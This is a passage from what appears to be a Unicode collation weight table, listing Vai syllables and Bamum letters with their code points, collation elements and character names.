; [.3817.0020.0002] # VAI SYLLABLE HO -A5BE ; [.3818.0020.0002] # VAI SYLLABLE HON -A5BF ; [.3819.0020.0002] # VAI SYLLABLE WO -A5C0 ; [.381A.0020.0002] # VAI SYLLABLE WON -A5C1 ; [.381B.0020.0002] # VAI SYLLABLE PO -A5C2 ; [.381C.0020.0002] # VAI SYLLABLE BHO -A5C3 ; [.381D.0020.0002] # VAI SYLLABLE BO -A5C4 ; [.381E.0020.0002] # VAI SYLLABLE MBO -A5C5 ; [.381F.0020.0002] # VAI SYLLABLE KPO -A5C6 ; [.3820.0020.0002] # VAI SYLLABLE MGBO -A5C7 ; [.3821.0020.0002] # VAI SYLLABLE GBO -A5C8 ; [.3822.0020.0002] # VAI SYLLABLE GBON -A5C9 ; [.3823.0020.0002] # VAI SYLLABLE FO -A5CA ; [.3824.0020.0002] # VAI SYLLABLE VO -A5CB ; [.3825.0020.0002] # VAI SYLLABLE TO -A61D ; [.3825.0020.0004][.3865.0020.0004] # VAI SYMBOL TONG -A5CC ; [.3826.0020.0002] # VAI SYLLABLE THO -A5CD ; [.3827.0020.0002] # VAI SYLLABLE DHO -A5CE ; [.3828.0020.0002] # VAI SYLLABLE DHHO -A5CF ; [.3829.0020.0002] # VAI SYLLABLE LO -A5D0 ; [.382A.0020.0002] # VAI SYLLABLE RO -A5D1 ; [.382B.0020.0002] # VAI SYLLABLE DO -A62B ; [.382B.0020.0004] # VAI SYLLABLE NDOLE DO -A61E ; [.382B.0020.0004][.3866.0020.0004] # VAI SYMBOL DO-O -A5D2 ; [.382C.0020.0002] # VAI SYLLABLE NDO -A5D3 ; [.382D.0020.0002] # VAI SYLLABLE SO -A5D4 ; [.382E.0020.0002] # VAI SYLLABLE SHO -A5D5 ; [.382F.0020.0002] # VAI SYLLABLE ZO -A5D6 ; [.3830.0020.0002] # VAI SYLLABLE ZHO -A5D7 ; [.3831.0020.0002] # VAI SYLLABLE CO -A5D8 ; [.3832.0020.0002] # VAI SYLLABLE JO -A61F ; [.3832.0020.0004][.3865.0020.0004] # VAI SYMBOL JONG -A5D9 ; [.3833.0020.0002] # VAI SYLLABLE NJO -A5DA ; [.3834.0020.0002] # VAI SYLLABLE YO -A5DB ; [.3835.0020.0002] # VAI SYLLABLE KO -A5DC ; [.3836.0020.0002] # VAI SYLLABLE NGGO -A5DD ; [.3837.0020.0002] # VAI SYLLABLE GO -A5DE ; [.3838.0020.0002] # VAI SYLLABLE MO -A5DF ; [.3839.0020.0002] # VAI SYLLABLE NO -A5E0 ; [.383A.0020.0002] # VAI SYLLABLE NYO -A5E1 ; [.383B.0020.0002] # VAI SYLLABLE E -A5E2 ; [.383C.0020.0002] # VAI SYLLABLE EN -A5E3 ; [.383D.0020.0002] # VAI SYLLABLE NGEN -A5E4 ; [.383E.0020.0002] # VAI SYLLABLE HE -A5E5 ; [.383F.0020.0002] # VAI SYLLABLE HEN -A5E6 ; [.3840.0020.0002] # VAI SYLLABLE WE -A5E7 ; [.3841.0020.0002] # VAI SYLLABLE WEN -A5E8 ; [.3842.0020.0002] # VAI SYLLABLE PE -A5E9 ; [.3843.0020.0002] # VAI SYLLABLE BHE -A5EA ; [.3844.0020.0002] # VAI SYLLABLE BE -A5EB ; [.3845.0020.0002] # VAI SYLLABLE MBE -A5EC ; [.3846.0020.0002] # VAI SYLLABLE KPE -A5ED ; [.3847.0020.0002] # VAI SYLLABLE KPEN -A5EE ; [.3848.0020.0002] # VAI SYLLABLE MGBE -A5EF ; [.3849.0020.0002] # VAI SYLLABLE GBE -A5F0 ; [.384A.0020.0002] # VAI SYLLABLE GBEN -A5F1 ; [.384B.0020.0002] # VAI SYLLABLE FE -A5F2 ; [.384C.0020.0002] # VAI SYLLABLE VE -A5F3 ; [.384D.0020.0002] # VAI SYLLABLE TE -A5F4 ; [.384E.0020.0002] # VAI SYLLABLE THE -A5F5 ; [.384F.0020.0002] # VAI SYLLABLE DHE -A5F6 ; [.3850.0020.0002] # VAI SYLLABLE DHHE -A5F7 ; [.3851.0020.0002] # VAI SYLLABLE LE -A5F8 ; [.3852.0020.0002] # VAI SYLLABLE RE -A5F9 ; [.3853.0020.0002] # VAI SYLLABLE DE -A5FA ; [.3854.0020.0002] # VAI SYLLABLE NDE -A5FB ; [.3855.0020.0002] # VAI SYLLABLE SE -A5FC ; [.3856.0020.0002] # VAI SYLLABLE SHE -A5FD ; [.3857.0020.0002] # VAI SYLLABLE ZE -A5FE ; [.3858.0020.0002] # VAI SYLLABLE ZHE -A5FF ; [.3859.0020.0002] # VAI SYLLABLE CE -A600 ; [.385A.0020.0002] # VAI SYLLABLE JE -A601 ; [.385B.0020.0002] # VAI SYLLABLE NJE -A602 ; [.385C.0020.0002] # VAI SYLLABLE YE -A603 ; [.385D.0020.0002] # VAI SYLLABLE KE -A604 ; [.385E.0020.0002] # VAI SYLLABLE NGGE -A605 ; [.385F.0020.0002] # VAI SYLLABLE NGGEN -A606 ; [.3860.0020.0002] # VAI SYLLABLE GE -A607 ; [.3861.0020.0002] # VAI SYLLABLE GEN -A608 ; [.3862.0020.0002] # VAI SYLLABLE ME -A609 ; [.3863.0020.0002] # VAI SYLLABLE NE -A60A ; [.3864.0020.0002] # VAI SYLLABLE NYE -A60B ; [.3865.0020.0002] # VAI SYLLABLE NG -A60C ; [.3866.0020.0002] # VAI SYLLABLE LENGTHENER -A6A0 ; [.3867.0020.0002] # BAMUM LETTER A -A6A1 ; [.3868.0020.0002] # BAMUM LETTER KA -A6A2 ; [.3869.0020.0002] # BAMUM LETTER U -A6A3 ; [.386A.0020.0002] # BAMUM LETTER KU -A6A4 ; [.386B.0020.0002] # BAMUM LETTER EE -A6A5 ; [.386C.0020.0002] # BAMUM LETTER REE -A6A6 ; [.386D.0020.0002] # BAMUM LETTER TAE -A6A7 ; [.386E.0020.0002] # BAMUM LETTER O -A6A8 ; [.386F.0020.0002] # BAMUM LETTER NYI -A6A9 ; [.3870.0020.0002] # BAMUM LETTER I -A6AA ; [.3871.0020.0002] # BAMUM LETTER LA -A6AB ; [.3872.0020.0002] # BAMUM LETTER PA -A6AC ; [.3873.0020.0002] # BAMUM LETTER RII -A6AD ; [.3874.0020.0002] # BAMUM LETTER RIEE -A6AE ; [.3875.0020.0002] # BAMUM LETTER LEEEE -A6AF ; [.3876.0020.0002] # BAMUM LETTER MEEEE -A6B0 ; [.3877.0020.0002] # BAMUM LETTER TAA -A6B1 ; [.3878.0020.0002] # BAMUM LETTER NDAA -A6B2 ; [.3879.0020.0002] # BAMUM LETTER NJAEM -A6B3 ; [.387A.0020.0002] # BAMUM LETTER M -A6B4 ; [.387B.0020.0002] # BAMUM LETTER SUU -A6B5 ; [.387C.0020.0002] # BAMUM LETTER MU -A6B6 ; [.387D.0020.0002] # BAMUM LETTER SHII -A6B7 ; [.387E.0020.0002] # BAMUM LETTER SI -A6B8 ; [.387F.0020.0002] # BAMUM LETTER SHEUX -A6B9 ; [.3880.0020.0002] # BAMUM LETTER SEUX -A6BA ; [.3881.0020.0002] # BAMUM LETTER KYEE -A6BB ; [.3882.0020.0002] # BAMUM LETTER KET -A6BC ; [.3883.0020.0002] # BAMUM LETTER NUAE -A6BD ; [.3884.0020.0002] # BAMUM LETTER NU -A6BE ; [.3885.0020.0002] # BAMUM LETTER NJUAE -A6BF ; [.3886.0020.0002] # BAMUM LETTER YOQ -A6C0 ; [.3887.0020.0002] # BAMUM LETTER SHU -A6C1 ; [.3888.0020.0002] # BAMUM LETTER YUQ -A6C2 ; [.3889.0020.0002] # BAMUM LETTER YA -A6C3 ; [.388A.0020.0002] # BAMUM LETTER NSHA -A6C4 ; [.388B.0020.0002] # BAMUM LETTER KEUX -A6C5 ; [.388C.0020.0002] # BAMUM LETTER PEUX -A6C6 ; [.388D.0020.0002] # BAMUM LETTER NJEE -A6C7 ; [.388E.0020.0002] # BAMUM LETTER NTEE -A6C8 ; [.388F.0020.0002] # BAMUM LETTER PUE -A6C9 ; [.3890.0020.0002] # BAMUM LETTER WUE -A6CA ; [.3891.0020.0002] # BAMUM LETTER PEE -A6CB ; [.3892.0020.0002] # BAMUM LETTER FEE -A6CC ; [.3893.0020.0002] # BAMUM LETTER RU -A6CD ; [.3894.0020.0002] # BAMUM LETTER LU -A6CE ; [.3895.0020.0002] # BAMUM LETTER MI -A6CF ; [.3896.0020.0002] # BAMUM LETTER NI -A6D0 ; [.3897.0020.0002] # BAMUM LETTER REUX -A6D1 ; [.3898.0020.0002] # BAMUM LETTER RAE -A6D2 ; [.3899.0020.0002] # BAMUM LETTER KEN -A6D3 ; [.389A.0020.0002] # BAMUM LETTER NGKWAEN -A6D4 ; [.389B.0020.0002] # BAMUM LETTER NGGA -A6D5 ; [.389C.0020.0002] # BAMUM LETTER NGA -A6D6 ; [.389D.0020.0002] # BAMUM LETTER SHO -A6D7 ; [.389E.0020.0002] # BAMUM LETTER PUAE -A6D8 ; [.389F.0020.0002] # BAMUM LETTER FU -A6D9 ; [.38A0.0020.0002] # BAMUM LETTER FOM -A6DA ; [.38A1.0020.0002] # BAMUM LETTER WA -A6DB ; [.38A2.0020.0002] # BAMUM LETTER NA -A6DC ; [.38A3.0020.0002] # BAMUM LETTER LI -A6DD ; [.38A4.0020.0002] # BAMUM LETTER PI -A6DE ; [.38A5.0020.0002] # BAMUM LETTER LOQ -A6DF ; [.38A6.0020.0002] # BAMUM LETTER KO -A6E0 ; [.38A7.0020.0002] # BAMUM LETTER MBEN -A6E1 ; [.38A8.0020.0002] # BAMUM LETTER REN -A6E2 ; [.38A9.0020.0002] # BAMUM LETTER MEN -A6E3 ; [.38AA.0020.0002] # BAMUM LETTER MA -A6E4 ; [.38AB.0020.0002] # BAMUM LETTER TI -A6E5 ; [.38AC.0020.0002] # BAMUM LETTER KI -A6E6 ; [.38AD.0020.0002] # BAMUM LETTER MO -A6E7 ; [.38AE.0020.0002] # BAMUM LETTER MBAA -A6E8 ; [.38AF.0020.0002] # BAMUM LETTER TET -A6E9 ; [.38B0.0020.0002] # BAMUM LETTER KPA -A6EA ; [.38B1.0020.0002] # BAMUM LETTER TEN -A6EB ; [.38B2.0020.0002] # BAMUM LETTER NTUU -A6EC ; [.38B3.0020.0002] # BAMUM LETTER SAMBA -A6ED ; [.38B4.0020.0002] # BAMUM LETTER FAAMAE -A6EE ; [.38B5.0020.0002] # BAMUM LETTER KOVUU -A6EF ; [.38B6.0020.0002] # BAMUM LETTER KOGHOM -16800 ; [.38B7.0020.0002] # BAMUM LETTER PHASE-A NGKUE MFON -16801 ; [.38B8.0020.0002] # BAMUM LETTER PHASE-A GBIEE FON -16802 ; [.38B9.0020.0002] # BAMUM LETTER PHASE-A PON MFON PIPAEMGBIEE -16803 ; [.38BA.0020.0002] # BAMUM LETTER PHASE-A PON MFON PIPAEMBA -16804 ; [.38BB.0020.0002] # BAMUM LETTER PHASE-A NAA MFON -16805 ; [.38BC.0020.0002] # BAMUM LETTER PHASE-A SHUENSHUET -16806 ; [.38BD.0020.0002] # BAMUM LETTER PHASE-A TITA MFON -16807 ; [.38BE.0020.0002] # BAMUM LETTER PHASE-A NZA MFON -16808 ; [.38BF.0020.0002] # BAMUM LETTER PHASE-A SHINDA PA NJI -16809 ; [.38C0.0020.0002] # BAMUM LETTER PHASE-A PON PA NJI PIPAEMGBIEE -1680A ; [.38C1.0020.0002] # BAMUM LETTER PHASE-A PON PA NJI PIPAEMBA -1680B ; [.38C2.0020.0002] # BAMUM LETTER PHASE-A MAEMBGBIEE -1680C ; [.38C3.0020.0002] # BAMUM LETTER PHASE-A TU MAEMBA -1680D ; [.38C4.0020.0002] # BAMUM LETTER PHASE-A NGANGU -1680E ; [.38C5.0020.0002] # BAMUM LETTER PHASE-A MAEMVEUX -1680F ; [.38C6.0020.0002] # BAMUM LETTER PHASE-A MANSUAE -16810 ; [.38C7.0020.0002] # BAMUM LETTER PHASE-A MVEUAENGAM -16811 ; [.38C8.0020.0002] # BAMUM LETTER PHASE-A SEUNYAM -16812 ; [.38C9.0020.0002] # BAMUM LETTER PHASE-A NTOQPEN -16813 ; [.38CA.0020.0002] # BAMUM LETTER PHASE-A KEUKEUTNDA -16814 ; [.38CB.0020.0002] # BAMUM LETTER PHASE-A NKINDI -16815 ; [.38CC.0020.0002] # BAMUM LETTER PHASE-A SUU -16816 ; [.38CD.0020.0002] # BAMUM LETTER PHASE-A NGKUENZEUM -16817 ; [.38CE.0020.0002] # BAMUM LETTER PHASE-A LAPAQ -16818 ; [.38CF.0020.0002] # BAMUM LETTER PHASE-A LET KUT -16819 ; [.38D0.0020.0002] # BAMUM LETTER PHASE-A NTAP MFAA -1681A ; [.38D1.0020.0002] # BAMUM LETTER PHASE-A MAEKEUP -1681B ; [.38D2.0020.0002] # BAMUM LETTER PHASE-A PASHAE -1681C ; [.38D3.0020.0002] # BAMUM LETTER PHASE-A GHEUAERAE -1681D ; [.38D4.0020.0002] # BAMUM LETTER PHASE-A PAMSHAE -1681E ; [.38D5.0020.0002] # BAMUM LETTER PHASE-A MON NGGEUAET -1681F ; [.38D6.0020.0002] # BAMUM LETTER PHASE-A NZUN MEUT -16820 ; [.38D7.0020.0002] # BAMUM LETTER PHASE-A U YUQ NAE -16821 ; [.38D8.0020.0002] # BAMUM LETTER PHASE-A GHEUAEGHEUAE -16822 ; [.38D9.0020.0002] # BAMUM LETTER PHASE-A NTAP NTAA -16823 ; [.38DA.0020.0002] # BAMUM LETTER PHASE-A SISA -16824 ; [.38DB.0020.0002] # BAMUM LETTER PHASE-A MGBASA -16825 ; [.38DC.0020.0002] # BAMUM LETTER PHASE-A MEUNJOMNDEUQ -16826 ; [.38DD.0020.0002] # BAMUM LETTER PHASE-A MOOMPUQ -16827 ; [.38DE.0020.0002] # BAMUM LETTER PHASE-A KAFA -16828 ; [.38DF.0020.0002] # BAMUM LETTER PHASE-A PA LEERAEWA -16829 ; [.38E0.0020.0002] # BAMUM LETTER PHASE-A NDA LEERAEWA -1682A ; [.38E1.0020.0002] # BAMUM LETTER PHASE-A PET -1682B ; [.38E2.0020.0002] # BAMUM LETTER PHASE-A MAEMKPEN -1682C ; [.38E3.0020.0002] # BAMUM LETTER PHASE-A NIKA -1682D ; [.38E4.0020.0002] # BAMUM LETTER PHASE-A PUP -1682E ; [.38E5.0020.0002] # BAMUM LETTER PHASE-A TUAEP -1682F ; [.38E6.0020.0002] # BAMUM LETTER PHASE-A LUAEP -16830 ; [.38E7.0020.0002] # BAMUM LETTER PHASE-A SONJAM -16831 ; [.38E8.0020.0002] # BAMUM LETTER PHASE-A TEUTEUWEN -16832 ; [.38E9.0020.0002] # BAMUM LETTER PHASE-A MAENYI -16833 ; [.38EA.0020.0002] # BAMUM LETTER PHASE-A KET -16834 ; [.38EB.0020.0002] # BAMUM LETTER PHASE-A NDAANGGEUAET -16835 ; [.38EC.0020.0002] # BAMUM LETTER PHASE-A KUOQ -16836 ; [.38ED.0020.0002] # BAMUM LETTER PHASE-A MOOMEUT -16837 ; [.38EE.0020.0002] # BAMUM LETTER PHASE-A SHUM -16838 ; [.38EF.0020.0002] # BAMUM LETTER PHASE-A LOMMAE -16839 ; [.38F0.0020.0002] # BAMUM LETTER PHASE-A FIRI -1683A ; [.38F1.0020.0002] # BAMUM LETTER PHASE-A ROM -1683B ; [.38F2.0020.0002] # BAMUM LETTER PHASE-A KPOQ -1683C ; [.38F3.0020.0002] # BAMUM LETTER PHASE-A SOQ -1683D ; [.38F4.0020.0002] # BAMUM LETTER PHASE-A MAP PIEET -1683E ; [.38F5.0020.0002] # BAMUM LETTER PHASE-A SHIRAE -1683F ; [.38F6.0020.0002] # BAMUM LETTER PHASE-A NTAP -16840 ; [.38F7.0020.0002] # BAMUM LETTER PHASE-A SHOQ NSHUT YUM -16841 ; [.38F8.0020.0002] # BAMUM LETTER PHASE-A NYIT MONGKEUAEQ -16842 ; [.38F9.0020.0002] # BAMUM LETTER PHASE-A PAARAE -16843 ; [.38FA.0020.0002] # BAMUM LETTER PHASE-A NKAARAE -16844 ; [.38FB.0020.0002] # BAMUM LETTER PHASE-A UNKNOWN -16845 ; [.38FC.0020.0002] # BAMUM LETTER PHASE-A NGGEN -16846 ; [.38FD.0020.0002] # BAMUM LETTER PHASE-A MAESI -16847 ; [.38FE.0020.0002] # BAMUM LETTER PHASE-A NJAM -16848 ; [.38FF.0020.0002] # BAMUM LETTER PHASE-A MBANYI -16849 ; [.3900.0020.0002] # BAMUM LETTER PHASE-A NYET -1684A ; [.3901.0020.0002] # BAMUM LETTER PHASE-A TEUAEN -1684B ; [.3902.0020.0002] # BAMUM LETTER PHASE-A SOT -1684C ; [.3903.0020.0002] # BAMUM LETTER PHASE-A PAAM -1684D ; [.3904.0020.0002] # BAMUM LETTER PHASE-A NSHIEE -1684E ; [.3905.0020.0002] # BAMUM LETTER PHASE-A MAEM -1684F ; [.3906.0020.0002] # BAMUM LETTER PHASE-A NYI -16850 ; [.3907.0020.0002] # BAMUM LETTER PHASE-A KAQ -16851 ; [.3908.0020.0002] # BAMUM LETTER PHASE-A NSHA -16852 ; [.3909.0020.0002] # BAMUM LETTER PHASE-A VEE -16853 ; [.390A.0020.0002] # BAMUM LETTER PHASE-A LU -16854 ; [.390B.0020.0002] # BAMUM LETTER PHASE-A NEN -16855 ; [.390C.0020.0002] # BAMUM LETTER PHASE-A NAQ -16856 ; [.390D.0020.0002] # BAMUM LETTER PHASE-A MBAQ -16857 ; [.390E.0020.0002] # BAMUM LETTER PHASE-B NSHUET -16858 ; [.390F.0020.0002] # BAMUM LETTER PHASE-B TU MAEMGBIEE -16859 ; [.3910.0020.0002] # BAMUM LETTER PHASE-B SIEE -1685A ; [.3911.0020.0002] # BAMUM LETTER PHASE-B SET TU -1685B ; [.3912.0020.0002] # BAMUM LETTER PHASE-B LOM NTEUM -1685C ; [.3913.0020.0002] # BAMUM LETTER PHASE-B MBA MAELEE -1685D ; [.3914.0020.0002] # BAMUM LETTER PHASE-B KIEEM -1685E ; [.3915.0020.0002] # BAMUM LETTER PHASE-B YEURAE -1685F ; [.3916.0020.0002] # BAMUM LETTER PHASE-B MBAARAE -16860 ; [.3917.0020.0002] # BAMUM LETTER PHASE-B KAM -16861 ; [.3918.0020.0002] # BAMUM LETTER PHASE-B PEESHI -16862 ; [.3919.0020.0002] # BAMUM LETTER PHASE-B YAFU LEERAEWA -16863 ; [.391A.0020.0002] # BAMUM LETTER PHASE-B LAM NSHUT NYAM -16864 ; [.391B.0020.0002] # BAMUM LETTER PHASE-B NTIEE SHEUOQ -16865 ; [.391C.0020.0002] # BAMUM LETTER PHASE-B NDU NJAA -16866 ; [.391D.0020.0002] # BAMUM LETTER PHASE-B GHEUGHEUAEM -16867 ; [.391E.0020.0002] # BAMUM LETTER PHASE-B PIT -16868 ; [.391F.0020.0002] # BAMUM LETTER PHASE-B TU NSIEE -16869 ; [.3920.0020.0002] # BAMUM LETTER PHASE-B SHET NJAQ -1686A ; [.3921.0020.0002] # BAMUM LETTER PHASE-B SHEUAEQTU -1686B ; [.3922.0020.0002] # BAMUM LETTER PHASE-B MFON TEUAEQ -1686C ; [.3923.0020.0002] # BAMUM LETTER PHASE-B MBIT MBAAKET -1686D ; [.3924.0020.0002] # BAMUM LETTER PHASE-B NYI NTEUM -1686E ; [.3925.0020.0002] # BAMUM LETTER PHASE-B KEUPUQ -1686F ; [.3926.0020.0002] # BAMUM LETTER PHASE-B GHEUGHEN -16870 ; [.3927.0020.0002] # BAMUM LETTER PHASE-B KEUYEUX -16871 ; [.3928.0020.0002] # BAMUM LETTER PHASE-B LAANAE -16872 ; [.3929.0020.0002] # BAMUM LETTER PHASE-B PARUM -16873 ; [.392A.0020.0002] # BAMUM LETTER PHASE-B VEUM -16874 ; [.392B.0020.0002] # BAMUM LETTER PHASE-B NGKINDI MVOP -16875 ; [.392C.0020.0002] # BAMUM LETTER PHASE-B NGGEU MBU -16876 ; [.392D.0020.0002] # BAMUM LETTER PHASE-B WUAET -16877 ; [.392E.0020.0002] # BAMUM LETTER PHASE-B SAKEUAE -16878 ; [.392F.0020.0002] # BAMUM LETTER PHASE-B TAAM -16879 ; [.3930.0020.0002] # BAMUM LETTER PHASE-B MEUQ -1687A ; [.3931.0020.0002] # BAMUM LETTER PHASE-B NGGUOQ -1687B ; [.3932.0020.0002] # BAMUM LETTER PHASE-B NGGUOQ LARGE -1687C ; [.3933.0020.0002] # BAMUM LETTER PHASE-B MFIYAQ -1687D ; [.3934.0020.0002] # BAMUM LETTER PHASE-B SUE -1687E ; [.3935.0020.0002] # BAMUM LETTER PHASE-B MBEURI -1687F ; [.3936.0020.0002] # BAMUM LETTER PHASE-B MONTIEEN -16880 ; [.3937.0020.0002] # BAMUM LETTER PHASE-B NYAEMAE -16881 ; [.3938.0020.0002] # BAMUM LETTER PHASE-B PUNGAAM -16882 ; [.3939.0020.0002] # BAMUM LETTER PHASE-B MEUT NGGEET -16883 ; [.393A.0020.0002] # BAMUM LETTER PHASE-B FEUX -16884 ; [.393B.0020.0002] # BAMUM LETTER PHASE-B MBUOQ -16885 ; [.393C.0020.0002] # BAMUM LETTER PHASE-B FEE -16886 ; [.393D.0020.0002] # BAMUM LETTER PHASE-B KEUAEM -16887 ; [.393E.0020.0002] # BAMUM LETTER PHASE-B MA NJEUAENA -16888 ; [.393F.0020.0002] # BAMUM LETTER PHASE-B MA NJUQA -16889 ; [.3940.0020.0002] # BAMUM LETTER PHASE-B LET -1688A ; [.3941.0020.0002] # BAMUM LETTER PHASE-B NGGAAM -1688B ; [.3942.0020.0002] # BAMUM LETTER PHASE-B NSEN -1688C ; [.3943.0020.0002] # BAMUM LETTER PHASE-B MA -1688D ; [.3944.0020.0002] # BAMUM LETTER PHASE-B KIQ -1688E ; [.3945.0020.0002] # BAMUM LETTER PHASE-B NGOM -1688F ; [.3946.0020.0002] # BAMUM LETTER PHASE-C NGKUE MAEMBA -16890 ; [.3947.0020.0002] # BAMUM LETTER PHASE-C NZA -16891 ; [.3948.0020.0002] # BAMUM LETTER PHASE-C YUM -16892 ; [.3949.0020.0002] # BAMUM LETTER PHASE-C WANGKUOQ -16893 ; [.394A.0020.0002] # BAMUM LETTER PHASE-C NGGEN -16894 ; [.394B.0020.0002] # BAMUM LETTER PHASE-C NDEUAEREE -16895 ; [.394C.0020.0002] # BAMUM LETTER PHASE-C NGKAQ -16896 ; [.394D.0020.0002] # BAMUM LETTER PHASE-C GHARAE -16897 ; [.394E.0020.0002] # BAMUM LETTER PHASE-C MBEEKEET -16898 ; [.394F.0020.0002] # BAMUM LETTER PHASE-C GBAYI -16899 ; [.3950.0020.0002] # BAMUM LETTER PHASE-C NYIR MKPARAQ MEUN -1689A ; [.3951.0020.0002] # BAMUM LETTER PHASE-C NTU MBIT -1689B ; [.3952.0020.0002] # BAMUM LETTER PHASE-C MBEUM -1689C ; [.3953.0020.0002] # BAMUM LETTER PHASE-C PIRIEEN -1689D ; [.3954.0020.0002] # BAMUM LETTER PHASE-C NDOMBU -1689E ; [.3955.0020.0002] # BAMUM LETTER PHASE-C MBAA CABBAGE-TREE -1689F ; [.3956.0020.0002] # BAMUM LETTER PHASE-C KEUSHEUAEP -168A0 ; [.3957.0020.0002] # BAMUM LETTER PHASE-C GHAP -168A1 ; [.3958.0020.0002] # BAMUM LETTER PHASE-C KEUKAQ -168A2 ; [.3959.0020.0002] # BAMUM LETTER PHASE-C YU MUOMAE -168A3 ; [.395A.0020.0002] # BAMUM LETTER PHASE-C NZEUM -168A4 ; [.395B.0020.0002] # BAMUM LETTER PHASE-C MBUE -168A5 ; [.395C.0020.0002] # BAMUM LETTER PHASE-C NSEUAEN -168A6 ; [.395D.0020.0002] # BAMUM LETTER PHASE-C MBIT -168A7 ; [.395E.0020.0002] # BAMUM LETTER PHASE-C YEUQ -168A8 ; [.395F.0020.0002] # BAMUM LETTER PHASE-C KPARAQ -168A9 ; [.3960.0020.0002] # BAMUM LETTER PHASE-C KAA -168AA ; [.3961.0020.0002] # BAMUM LETTER PHASE-C SEUX -168AB ; [.3962.0020.0002] # BAMUM LETTER PHASE-C NDIDA -168AC ; [.3963.0020.0002] # BAMUM LETTER PHASE-C TAASHAE -168AD ; [.3964.0020.0002] # BAMUM LETTER PHASE-C NJUEQ -168AE ; [.3965.0020.0002] # BAMUM LETTER PHASE-C TITA YUE -168AF ; [.3966.0020.0002] # BAMUM LETTER PHASE-C SUAET -168B0 ; [.3967.0020.0002] # BAMUM LETTER PHASE-C NGGUAEN NYAM -168B1 ; [.3968.0020.0002] # BAMUM LETTER PHASE-C VEUX -168B2 ; [.3969.0020.0002] # BAMUM LETTER PHASE-C NANSANAQ -168B3 ; [.396A.0020.0002] # BAMUM LETTER PHASE-C MA KEUAERI -168B4 ; [.396B.0020.0002] # BAMUM LETTER PHASE-C NTAA -168B5 ; [.396C.0020.0002] # BAMUM LETTER PHASE-C NGGUON -168B6 ; [.396D.0020.0002] # BAMUM LETTER PHASE-C LAP -168B7 ; [.396E.0020.0002] # BAMUM LETTER PHASE-C MBIRIEEN -168B8 ; [.396F.0020.0002] # BAMUM LETTER PHASE-C MGBASAQ -168B9 ; [.3970.0020.0002] # BAMUM LETTER PHASE-C NTEUNGBA -168BA ; [.3971.0020.0002] # BAMUM LETTER PHASE-C TEUTEUX -168BB ; [.3972.0020.0002] # BAMUM LETTER PHASE-C NGGUM -168BC ; [.3973.0020.0002] # BAMUM LETTER PHASE-C FUE -168BD ; [.3974.0020.0002] # BAMUM LETTER PHASE-C NDEUT -168BE ; [.3975.0020.0002] # BAMUM LETTER PHASE-C NSA -168BF ; [.3976.0020.0002] # BAMUM LETTER PHASE-C NSHAQ -168C0 ; [.3977.0020.0002] # BAMUM LETTER PHASE-C BUNG -168C1 ; [.3978.0020.0002] # BAMUM LETTER PHASE-C VEUAEPEN -168C2 ; [.3979.0020.0002] # BAMUM LETTER PHASE-C MBERAE -168C3 ; [.397A.0020.0002] # BAMUM LETTER PHASE-C RU -168C4 ; [.397B.0020.0002] # BAMUM LETTER PHASE-C NJAEM -168C5 ; [.397C.0020.0002] # BAMUM LETTER PHASE-C LAM -168C6 ; [.397D.0020.0002] # BAMUM LETTER PHASE-C TITUAEP -168C7 ; [.397E.0020.0002] # BAMUM LETTER PHASE-C NSUOT NGOM -168C8 ; [.397F.0020.0002] # BAMUM LETTER PHASE-C NJEEEE -168C9 ; [.3980.0020.0002] # BAMUM LETTER PHASE-C KET -168CA ; [.3981.0020.0002] # BAMUM LETTER PHASE-C NGGU -168CB ; [.3982.0020.0002] # BAMUM LETTER PHASE-C MAESI -168CC ; [.3983.0020.0002] # BAMUM LETTER PHASE-C MBUAEM -168CD ; [.3984.0020.0002] # BAMUM LETTER PHASE-C LU -168CE ; [.3985.0020.0002] # BAMUM LETTER PHASE-C KUT -168CF ; [.3986.0020.0002] # BAMUM LETTER PHASE-C NJAM -168D0 ; [.3987.0020.0002] # BAMUM LETTER PHASE-C NGOM -168D1 ; [.3988.0020.0002] # BAMUM LETTER PHASE-C WUP -168D2 ; [.3989.0020.0002] # BAMUM LETTER PHASE-C NGGUEET -168D3 ; [.398A.0020.0002] # BAMUM LETTER PHASE-C NSOM -168D4 ; [.398B.0020.0002] # BAMUM LETTER PHASE-C NTEN -168D5 ; [.398C.0020.0002] # BAMUM LETTER PHASE-C KUOP NKAARAE -168D6 ; [.398D.0020.0002] # BAMUM LETTER PHASE-C NSUN -168D7 ; [.398E.0020.0002] # BAMUM LETTER PHASE-C NDAM -168D8 ; [.398F.0020.0002] # BAMUM LETTER PHASE-C MA NSIEE -168D9 ; [.3990.0020.0002] # BAMUM LETTER PHASE-C YAA -168DA ; [.3991.0020.0002] # BAMUM LETTER PHASE-C NDAP -168DB ; [.3992.0020.0002] # BAMUM LETTER PHASE-C SHUEQ -168DC ; [.3993.0020.0002] # BAMUM LETTER PHASE-C SETFON -168DD ; [.3994.0020.0002] # BAMUM LETTER PHASE-C MBI -168DE ; [.3995.0020.0002] # BAMUM LETTER PHASE-C MAEMBA -168DF ; [.3996.0020.0002] # BAMUM LETTER PHASE-C MBANYI -168E0 ; [.3997.0020.0002] # BAMUM LETTER PHASE-C KEUSEUX -168E1 ; [.3998.0020.0002] # BAMUM LETTER PHASE-C MBEUX -168E2 ; [.3999.0020.0002] # BAMUM LETTER PHASE-C KEUM -168E3 ; [.399A.0020.0002] # BAMUM LETTER PHASE-C MBAA PICKET -168E4 ; [.399B.0020.0002] # BAMUM LETTER PHASE-C YUWOQ -168E5 ; [.399C.0020.0002] # BAMUM LETTER PHASE-C NJEUX -168E6 ; [.399D.0020.0002] # BAMUM LETTER PHASE-C MIEE -168E7 ; [.399E.0020.0002] # BAMUM LETTER PHASE-C MUAE -168E8 ; [.399F.0020.0002] # BAMUM LETTER PHASE-C SHIQ -168E9 ; [.39A0.0020.0002] # BAMUM LETTER PHASE-C KEN LAW -168EA ; [.39A1.0020.0002] # BAMUM LETTER PHASE-C KEN FATIGUE -168EB ; [.39A2.0020.0002] # BAMUM LETTER PHASE-C NGAQ -168EC ; [.39A3.0020.0002] # BAMUM LETTER PHASE-C NAQ -168ED ; [.39A4.0020.0002] # BAMUM LETTER PHASE-C LIQ -168EE ; [.39A5.0020.0002] # BAMUM LETTER PHASE-C PIN -168EF ; [.39A6.0020.0002] # BAMUM LETTER PHASE-C PEN -168F0 ; [.39A7.0020.0002] # BAMUM LETTER PHASE-C TET -168F1 ; [.39A8.0020.0002] # BAMUM LETTER PHASE-D MBUO -168F2 ; [.39A9.0020.0002] # BAMUM LETTER PHASE-D WAP -168F3 ; [.39AA.0020.0002] # BAMUM LETTER PHASE-D NJI -168F4 ; [.39AB.0020.0002] # BAMUM LETTER PHASE-D MFON -168F5 ; [.39AC.0020.0002] 